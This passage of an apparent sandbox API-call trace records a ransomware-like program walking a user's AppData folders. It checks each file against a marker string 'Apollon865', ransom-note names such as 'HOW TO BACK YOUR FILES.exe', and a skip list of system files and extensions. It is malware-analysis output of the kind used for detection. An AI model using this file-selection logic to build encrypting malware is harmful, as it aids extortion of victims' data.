	[0040.789] lstrcmpiW (lpString1="fj_TIv3HjBtxMdBiEa.mkv", lpString2=".ini") returned 1
	[0040.789] lstrlenW (lpString=".sys") returned 4
	[0040.789] lstrcmpiW (lpString1="fj_TIv3HjBtxMdBiEa.mkv", lpString2=".sys") returned 1
	[0040.789] lstrlenW (lpString="fj_TIv3HjBtxMdBiEa.mkv") returned 22
	[0040.789] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="fOXn34HAR yWXJJ7fW.mp3" | out: lpString1="fOXn34HAR yWXJJ7fW.mp3") returned="fOXn34HAR yWXJJ7fW.mp3"
	[0040.789] lstrlenW (lpString="fOXn34HAR yWXJJ7fW.mp3") returned 22
	[0040.789] lstrlenW (lpString="Apollon865") returned 10
	[0040.789] lstrcmpiW (lpString1="XJJ7fW.mp3", lpString2="Apollon865") returned 1
	[0040.789] lstrlenW (lpString=".dll") returned 4
	[0040.789] lstrcmpiW (lpString1="fOXn34HAR yWXJJ7fW.mp3", lpString2=".dll") returned 1
	[0040.789] lstrlenW (lpString=".lnk") returned 4
	[0040.789] lstrcmpiW (lpString1="fOXn34HAR yWXJJ7fW.mp3", lpString2=".lnk") returned 1
	[0040.789] lstrlenW (lpString=".ini") returned 4
	[0040.789] lstrcmpiW (lpString1="fOXn34HAR yWXJJ7fW.mp3", lpString2=".ini") returned 1
	[0040.789] lstrlenW (lpString=".sys") returned 4
	[0040.789] lstrcmpiW (lpString1="fOXn34HAR yWXJJ7fW.mp3", lpString2=".sys") returned 1
	[0040.789] lstrlenW (lpString="fOXn34HAR yWXJJ7fW.mp3") returned 22
	[0040.790] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="GuoL_Z.odp" | out: lpString1="GuoL_Z.odp") returned="GuoL_Z.odp"
	[0040.790] lstrlenW (lpString="GuoL_Z.odp") returned 10
	[0040.790] lstrlenW (lpString="Apollon865") returned 10
	[0040.790] lstrlenW (lpString=".dll") returned 4
	[0040.790] lstrcmpiW (lpString1="GuoL_Z.odp", lpString2=".dll") returned 1
	[0040.790] lstrlenW (lpString=".lnk") returned 4
	[0040.790] lstrcmpiW (lpString1="GuoL_Z.odp", lpString2=".lnk") returned 1
	[0040.790] lstrlenW (lpString=".ini") returned 4
	[0040.790] lstrcmpiW (lpString1="GuoL_Z.odp", lpString2=".ini") returned 1
	[0040.790] lstrlenW (lpString=".sys") returned 4
	[0040.790] lstrcmpiW (lpString1="GuoL_Z.odp", lpString2=".sys") returned 1
	[0040.790] lstrlenW (lpString="GuoL_Z.odp") returned 10
	[0040.790] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="GZoFCdnSXbICmpS.mp3" | out: lpString1="GZoFCdnSXbICmpS.mp3") returned="GZoFCdnSXbICmpS.mp3"
	[0040.790] lstrlenW (lpString="GZoFCdnSXbICmpS.mp3") returned 19
	[0040.790] lstrlenW (lpString="Apollon865") returned 10
	[0040.790] lstrcmpiW (lpString1="bICmpS.mp3", lpString2="Apollon865") returned 1
	[0040.790] lstrlenW (lpString=".dll") returned 4
	[0040.790] lstrcmpiW (lpString1="GZoFCdnSXbICmpS.mp3", lpString2=".dll") returned 1
	[0040.790] lstrlenW (lpString=".lnk") returned 4
	[0040.790] lstrcmpiW (lpString1="GZoFCdnSXbICmpS.mp3", lpString2=".lnk") returned 1
	[0040.790] lstrlenW (lpString=".ini") returned 4
	[0040.790] lstrcmpiW (lpString1="GZoFCdnSXbICmpS.mp3", lpString2=".ini") returned 1
	[0040.790] lstrlenW (lpString=".sys") returned 4
	[0040.790] lstrcmpiW (lpString1="GZoFCdnSXbICmpS.mp3", lpString2=".sys") returned 1
	[0040.790] lstrlenW (lpString="GZoFCdnSXbICmpS.mp3") returned 19
	[0040.790] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="I43Pcp.mkv" | out: lpString1="I43Pcp.mkv") returned="I43Pcp.mkv"
	[0040.790] lstrlenW (lpString="I43Pcp.mkv") returned 10
	[0040.790] lstrlenW (lpString="Apollon865") returned 10
	[0040.790] lstrlenW (lpString=".dll") returned 4
	[0040.790] lstrcmpiW (lpString1="I43Pcp.mkv", lpString2=".dll") returned 1
	[0040.790] lstrlenW (lpString=".lnk") returned 4
	[0040.790] lstrcmpiW (lpString1="I43Pcp.mkv", lpString2=".lnk") returned 1
	[0040.790] lstrlenW (lpString=".ini") returned 4
	[0040.790] lstrcmpiW (lpString1="I43Pcp.mkv", lpString2=".ini") returned 1
	[0040.791] lstrlenW (lpString=".sys") returned 4
	[0040.791] lstrcmpiW (lpString1="I43Pcp.mkv", lpString2=".sys") returned 1
	[0040.791] lstrlenW (lpString="I43Pcp.mkv") returned 10
	[0040.791] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Identities" | out: lpString1="Identities") returned="Identities"
	[0040.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0040.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0040.791] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0040.791] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa050dcf0, ftCreationTime.dwHighDateTime=0x1d4d28e, ftLastAccessTime.dwLowDateTime=0xad95a520, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0xad95a520, ftLastWriteTime.dwHighDateTime=0x1d4ca10, nFileSizeHigh=0x0, nFileSizeLow=0xd2af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lR_7_9hxChL.m4a", cAlternateFileName="LR_7_9~1.M4A")) returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="Apollon865.txt.exe") returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2=".") returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="..") returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="windows") returned -1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="bootmgr") returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="temp") returned -1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="pagefile.sys") returned -1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="boot") returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="ids.txt") returned 1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="ntuser.dat") returned -1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="perflogs") returned -1
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2="MSBuild") returned -1
	[0040.791] lstrlenW (lpString="lR_7_9hxChL.m4a") returned 15
	[0040.791] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned 56
	[0040.791] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="lR_7_9hxChL.m4a" | out: lpString1="lR_7_9hxChL.m4a") returned="lR_7_9hxChL.m4a"
	[0040.791] lstrlenW (lpString="lR_7_9hxChL.m4a") returned 15
	[0040.791] lstrlenW (lpString="Apollon865") returned 10
	[0040.791] lstrcmpiW (lpString1="9hxChL.m4a", lpString2="Apollon865") returned -1
	[0040.791] lstrlenW (lpString=".dll") returned 4
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2=".dll") returned 1
	[0040.791] lstrlenW (lpString=".lnk") returned 4
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2=".lnk") returned 1
	[0040.791] lstrlenW (lpString=".ini") returned 4
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2=".ini") returned 1
	[0040.791] lstrlenW (lpString=".sys") returned 4
	[0040.791] lstrcmpiW (lpString1="lR_7_9hxChL.m4a", lpString2=".sys") returned 1
	[0040.791] lstrlenW (lpString="lR_7_9hxChL.m4a") returned 15
	[0040.792] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Macromedia" | out: lpString1="Macromedia") returned="Macromedia"
	[0040.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0040.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0040.792] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0040.792] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0040.792] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0040.792] lstrlenW (lpString="Microsoft") returned 9
	[0040.792] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned 56
	[0040.792] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0040.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0040.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a998
	[0040.792] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0040.792] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="Apollon865.txt.exe") returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1
	[0040.792] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1
	[0040.793] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1
	[0040.793] lstrlenW (lpString="Mozilla") returned 7
	[0040.793] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned 55
	[0040.793] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla"
	[0040.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59aa10
	[0040.793] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0040.793] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc99b250, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0xf456bc90, ftLastAccessTime.dwHighDateTime=0x1d4cda5, ftLastWriteTime.dwLowDateTime=0xf456bc90, ftLastWriteTime.dwHighDateTime=0x1d4cda5, nFileSizeHigh=0x0, nFileSizeLow=0xccf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nuCe5OmQaE7sEe.csv", cAlternateFileName="NUCE5O~1.CSV")) returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="Apollon865.txt.exe") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2=".") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="..") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="windows") returned -1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="bootmgr") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="temp") returned -1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="pagefile.sys") returned -1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="boot") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="ids.txt") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="ntuser.dat") returned 1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="perflogs") returned -1
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2="MSBuild") returned 1
	[0040.793] lstrlenW (lpString="nuCe5OmQaE7sEe.csv") returned 18
	[0040.793] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla") returned 53
	[0040.793] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="nuCe5OmQaE7sEe.csv" | out: lpString1="nuCe5OmQaE7sEe.csv") returned="nuCe5OmQaE7sEe.csv"
	[0040.793] lstrlenW (lpString="nuCe5OmQaE7sEe.csv") returned 18
	[0040.793] lstrlenW (lpString="Apollon865") returned 10
	[0040.793] lstrcmpiW (lpString1="aE7sEe.csv", lpString2="Apollon865") returned -1
	[0040.793] lstrlenW (lpString=".dll") returned 4
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2=".dll") returned 1
	[0040.793] lstrlenW (lpString=".lnk") returned 4
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2=".lnk") returned 1
	[0040.793] lstrlenW (lpString=".ini") returned 4
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2=".ini") returned 1
	[0040.793] lstrlenW (lpString=".sys") returned 4
	[0040.793] lstrcmpiW (lpString1="nuCe5OmQaE7sEe.csv", lpString2=".sys") returned 1
	[0040.793] lstrlenW (lpString="nuCe5OmQaE7sEe.csv") returned 18
	[0040.794] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="omhlHyr.flv" | out: lpString1="omhlHyr.flv") returned="omhlHyr.flv"
	[0040.794] lstrlenW (lpString="omhlHyr.flv") returned 11
	[0040.794] lstrlenW (lpString="Apollon865") returned 10
	[0040.794] lstrcmpiW (lpString1="mhlHyr.flv", lpString2="Apollon865") returned 1
	[0040.794] lstrlenW (lpString=".dll") returned 4
	[0040.794] lstrcmpiW (lpString1="omhlHyr.flv", lpString2=".dll") returned 1
	[0040.794] lstrlenW (lpString=".lnk") returned 4
	[0040.794] lstrcmpiW (lpString1="omhlHyr.flv", lpString2=".lnk") returned 1
	[0040.794] lstrlenW (lpString=".ini") returned 4
	[0040.794] lstrcmpiW (lpString1="omhlHyr.flv", lpString2=".ini") returned 1
	[0040.794] lstrlenW (lpString=".sys") returned 4
	[0040.794] lstrcmpiW (lpString1="omhlHyr.flv", lpString2=".sys") returned 1
	[0040.794] lstrlenW (lpString="omhlHyr.flv") returned 11
	[0040.794] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="p9TWh8XSsgZGM3P4.m4a" | out: lpString1="p9TWh8XSsgZGM3P4.m4a") returned="p9TWh8XSsgZGM3P4.m4a"
	[0040.794] lstrlenW (lpString="p9TWh8XSsgZGM3P4.m4a") returned 20
	[0040.794] lstrlenW (lpString="Apollon865") returned 10
	[0040.794] lstrcmpiW (lpString1="ZGM3P4.m4a", lpString2="Apollon865") returned 1
	[0040.794] lstrlenW (lpString=".dll") returned 4
	[0040.794] lstrcmpiW (lpString1="p9TWh8XSsgZGM3P4.m4a", lpString2=".dll") returned 1
	[0040.794] lstrlenW (lpString=".lnk") returned 4
	[0040.794] lstrcmpiW (lpString1="p9TWh8XSsgZGM3P4.m4a", lpString2=".lnk") returned 1
	[0040.794] lstrlenW (lpString=".ini") returned 4
	[0040.794] lstrcmpiW (lpString1="p9TWh8XSsgZGM3P4.m4a", lpString2=".ini") returned 1
	[0040.794] lstrlenW (lpString=".sys") returned 4
	[0040.794] lstrcmpiW (lpString1="p9TWh8XSsgZGM3P4.m4a", lpString2=".sys") returned 1
	[0040.794] lstrlenW (lpString="p9TWh8XSsgZGM3P4.m4a") returned 20
	[0040.794] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Pbt7tLJ-17ezOHamK.wav" | out: lpString1="Pbt7tLJ-17ezOHamK.wav") returned="Pbt7tLJ-17ezOHamK.wav"
	[0040.794] lstrlenW (lpString="Pbt7tLJ-17ezOHamK.wav") returned 21
	[0040.794] lstrlenW (lpString="Apollon865") returned 10
	[0040.794] lstrcmpiW (lpString1="zOHamK.wav", lpString2="Apollon865") returned 1
	[0040.794] lstrlenW (lpString=".dll") returned 4
	[0040.794] lstrcmpiW (lpString1="Pbt7tLJ-17ezOHamK.wav", lpString2=".dll") returned 1
	[0040.795] lstrlenW (lpString=".lnk") returned 4
	[0040.795] lstrcmpiW (lpString1="Pbt7tLJ-17ezOHamK.wav", lpString2=".lnk") returned 1
	[0040.795] lstrlenW (lpString=".ini") returned 4
	[0040.795] lstrcmpiW (lpString1="Pbt7tLJ-17ezOHamK.wav", lpString2=".ini") returned 1
	[0040.795] lstrlenW (lpString=".sys") returned 4
	[0040.795] lstrcmpiW (lpString1="Pbt7tLJ-17ezOHamK.wav", lpString2=".sys") returned 1
	[0040.795] lstrlenW (lpString="Pbt7tLJ-17ezOHamK.wav") returned 21
	[0040.795] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="PkzFcV_NdZE.png" | out: lpString1="PkzFcV_NdZE.png") returned="PkzFcV_NdZE.png"
	[0040.795] lstrlenW (lpString="PkzFcV_NdZE.png") returned 15
	[0040.795] lstrlenW (lpString="Apollon865") returned 10
	[0040.795] lstrcmpiW (lpString1="V_NdZE.png", lpString2="Apollon865") returned 1
	[0040.795] lstrlenW (lpString=".dll") returned 4
	[0040.795] lstrcmpiW (lpString1="PkzFcV_NdZE.png", lpString2=".dll") returned 1
	[0040.795] lstrlenW (lpString=".lnk") returned 4
	[0040.795] lstrcmpiW (lpString1="PkzFcV_NdZE.png", lpString2=".lnk") returned 1
	[0040.795] lstrlenW (lpString=".ini") returned 4
	[0040.795] lstrcmpiW (lpString1="PkzFcV_NdZE.png", lpString2=".ini") returned 1
	[0040.795] lstrlenW (lpString=".sys") returned 4
	[0040.795] lstrcmpiW (lpString1="PkzFcV_NdZE.png", lpString2=".sys") returned 1
	[0040.795] lstrlenW (lpString="PkzFcV_NdZE.png") returned 15
	[0040.795] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Qm2RBUQKJnMiTONYO.odt" | out: lpString1="Qm2RBUQKJnMiTONYO.odt") returned="Qm2RBUQKJnMiTONYO.odt"
	[0040.795] lstrlenW (lpString="Qm2RBUQKJnMiTONYO.odt") returned 21
	[0040.795] lstrlenW (lpString="Apollon865") returned 10
	[0040.795] lstrcmpiW (lpString1="iTONYO.odt", lpString2="Apollon865") returned 1
	[0040.795] lstrlenW (lpString=".dll") returned 4
	[0040.795] lstrcmpiW (lpString1="Qm2RBUQKJnMiTONYO.odt", lpString2=".dll") returned 1
	[0040.795] lstrlenW (lpString=".lnk") returned 4
	[0040.795] lstrcmpiW (lpString1="Qm2RBUQKJnMiTONYO.odt", lpString2=".lnk") returned 1
	[0040.795] lstrlenW (lpString=".ini") returned 4
	[0040.795] lstrcmpiW (lpString1="Qm2RBUQKJnMiTONYO.odt", lpString2=".ini") returned 1
	[0040.795] lstrlenW (lpString=".sys") returned 4
	[0040.795] lstrcmpiW (lpString1="Qm2RBUQKJnMiTONYO.odt", lpString2=".sys") returned 1
	[0040.795] lstrlenW (lpString="Qm2RBUQKJnMiTONYO.odt") returned 21
	[0040.795] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="QXFo_zEpUgvlT7z_7w.wav" | out: lpString1="QXFo_zEpUgvlT7z_7w.wav") returned="QXFo_zEpUgvlT7z_7w.wav"
	[0040.796] lstrlenW (lpString="QXFo_zEpUgvlT7z_7w.wav") returned 22
	[0040.796] lstrlenW (lpString="Apollon865") returned 10
	[0040.796] lstrcmpiW (lpString1="T7z_7w.wav", lpString2="Apollon865") returned 1
	[0040.796] lstrlenW (lpString=".dll") returned 4
	[0040.796] lstrcmpiW (lpString1="QXFo_zEpUgvlT7z_7w.wav", lpString2=".dll") returned 1
	[0040.796] lstrlenW (lpString=".lnk") returned 4
	[0040.796] lstrcmpiW (lpString1="QXFo_zEpUgvlT7z_7w.wav", lpString2=".lnk") returned 1
	[0040.796] lstrlenW (lpString=".ini") returned 4
	[0040.796] lstrcmpiW (lpString1="QXFo_zEpUgvlT7z_7w.wav", lpString2=".ini") returned 1
	[0040.796] lstrlenW (lpString=".sys") returned 4
	[0040.796] lstrcmpiW (lpString1="QXFo_zEpUgvlT7z_7w.wav", lpString2=".sys") returned 1
	[0040.796] lstrlenW (lpString="QXFo_zEpUgvlT7z_7w.wav") returned 22
	[0040.796] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="RC0fg6qJX7rt.mkv" | out: lpString1="RC0fg6qJX7rt.mkv") returned="RC0fg6qJX7rt.mkv"
	[0040.796] lstrlenW (lpString="RC0fg6qJX7rt.mkv") returned 16
	[0040.796] lstrlenW (lpString="Apollon865") returned 10
	[0040.796] lstrcmpiW (lpString1="qJX7rt.mkv", lpString2="Apollon865") returned 1
	[0040.796] lstrlenW (lpString=".dll") returned 4
	[0040.796] lstrcmpiW (lpString1="RC0fg6qJX7rt.mkv", lpString2=".dll") returned 1
	[0040.796] lstrlenW (lpString=".lnk") returned 4
	[0040.796] lstrcmpiW (lpString1="RC0fg6qJX7rt.mkv", lpString2=".lnk") returned 1
	[0040.796] lstrlenW (lpString=".ini") returned 4
	[0040.796] lstrcmpiW (lpString1="RC0fg6qJX7rt.mkv", lpString2=".ini") returned 1
	[0040.796] lstrlenW (lpString=".sys") returned 4
	[0040.796] lstrcmpiW (lpString1="RC0fg6qJX7rt.mkv", lpString2=".sys") returned 1
	[0040.796] lstrlenW (lpString="RC0fg6qJX7rt.mkv") returned 16
	[0040.796] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="RsH237dAOwxrhhIez9.jpg" | out: lpString1="RsH237dAOwxrhhIez9.jpg") returned="RsH237dAOwxrhhIez9.jpg"
	[0040.796] lstrlenW (lpString="RsH237dAOwxrhhIez9.jpg") returned 22
	[0040.796] lstrlenW (lpString="Apollon865") returned 10
	[0040.796] lstrcmpiW (lpString1="hhIez9.jpg", lpString2="Apollon865") returned 1
	[0040.796] lstrlenW (lpString=".dll") returned 4
	[0040.796] lstrcmpiW (lpString1="RsH237dAOwxrhhIez9.jpg", lpString2=".dll") returned 1
	[0040.796] lstrlenW (lpString=".lnk") returned 4
	[0040.796] lstrcmpiW (lpString1="RsH237dAOwxrhhIez9.jpg", lpString2=".lnk") returned 1
	[0040.796] lstrlenW (lpString=".ini") returned 4
	[0040.796] lstrcmpiW (lpString1="RsH237dAOwxrhhIez9.jpg", lpString2=".ini") returned 1
	[0040.796] lstrlenW (lpString=".sys") returned 4
	[0040.797] lstrcmpiW (lpString1="RsH237dAOwxrhhIez9.jpg", lpString2=".sys") returned 1
	[0040.797] lstrlenW (lpString="RsH237dAOwxrhhIez9.jpg") returned 22
	[0040.797] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="shF-hmC ePd3ou.odp" | out: lpString1="shF-hmC ePd3ou.odp") returned="shF-hmC ePd3ou.odp"
	[0040.797] lstrlenW (lpString="shF-hmC ePd3ou.odp") returned 18
	[0040.797] lstrlenW (lpString="Apollon865") returned 10
	[0040.797] lstrcmpiW (lpString1="ePd3ou.odp", lpString2="Apollon865") returned 1
	[0040.797] lstrlenW (lpString=".dll") returned 4
	[0040.797] lstrcmpiW (lpString1="shF-hmC ePd3ou.odp", lpString2=".dll") returned 1
	[0040.797] lstrlenW (lpString=".lnk") returned 4
	[0040.797] lstrcmpiW (lpString1="shF-hmC ePd3ou.odp", lpString2=".lnk") returned 1
	[0040.797] lstrlenW (lpString=".ini") returned 4
	[0040.797] lstrcmpiW (lpString1="shF-hmC ePd3ou.odp", lpString2=".ini") returned 1
	[0040.797] lstrlenW (lpString=".sys") returned 4
	[0040.797] lstrcmpiW (lpString1="shF-hmC ePd3ou.odp", lpString2=".sys") returned 1
	[0040.797] lstrlenW (lpString="shF-hmC ePd3ou.odp") returned 18
	[0040.797] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="wH3wc-iCeJ8J0TO4O8Y.jpg" | out: lpString1="wH3wc-iCeJ8J0TO4O8Y.jpg") returned="wH3wc-iCeJ8J0TO4O8Y.jpg"
	[0040.797] lstrlenW (lpString="wH3wc-iCeJ8J0TO4O8Y.jpg") returned 23
	[0040.797] lstrlenW (lpString="Apollon865") returned 10
	[0040.797] lstrcmpiW (lpString1="TO4O8Y.jpg", lpString2="Apollon865") returned 1
	[0040.797] lstrlenW (lpString=".dll") returned 4
	[0040.797] lstrcmpiW (lpString1="wH3wc-iCeJ8J0TO4O8Y.jpg", lpString2=".dll") returned 1
	[0040.797] lstrlenW (lpString=".lnk") returned 4
	[0040.797] lstrcmpiW (lpString1="wH3wc-iCeJ8J0TO4O8Y.jpg", lpString2=".lnk") returned 1
	[0040.797] lstrlenW (lpString=".ini") returned 4
	[0040.797] lstrcmpiW (lpString1="wH3wc-iCeJ8J0TO4O8Y.jpg", lpString2=".ini") returned 1
	[0040.797] lstrlenW (lpString=".sys") returned 4
	[0040.797] lstrcmpiW (lpString1="wH3wc-iCeJ8J0TO4O8Y.jpg", lpString2=".sys") returned 1
	[0040.797] lstrlenW (lpString="wH3wc-iCeJ8J0TO4O8Y.jpg") returned 23
	[0040.797] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="X96zE.mkv" | out: lpString1="X96zE.mkv") returned="X96zE.mkv"
	[0040.797] lstrlenW (lpString="X96zE.mkv") returned 9
	[0040.797] lstrlenW (lpString="Apollon865") returned 10
	[0040.797] lstrlenW (lpString=".dll") returned 4
	[0040.797] lstrcmpiW (lpString1="X96zE.mkv", lpString2=".dll") returned 1
	[0040.798] lstrlenW (lpString=".lnk") returned 4
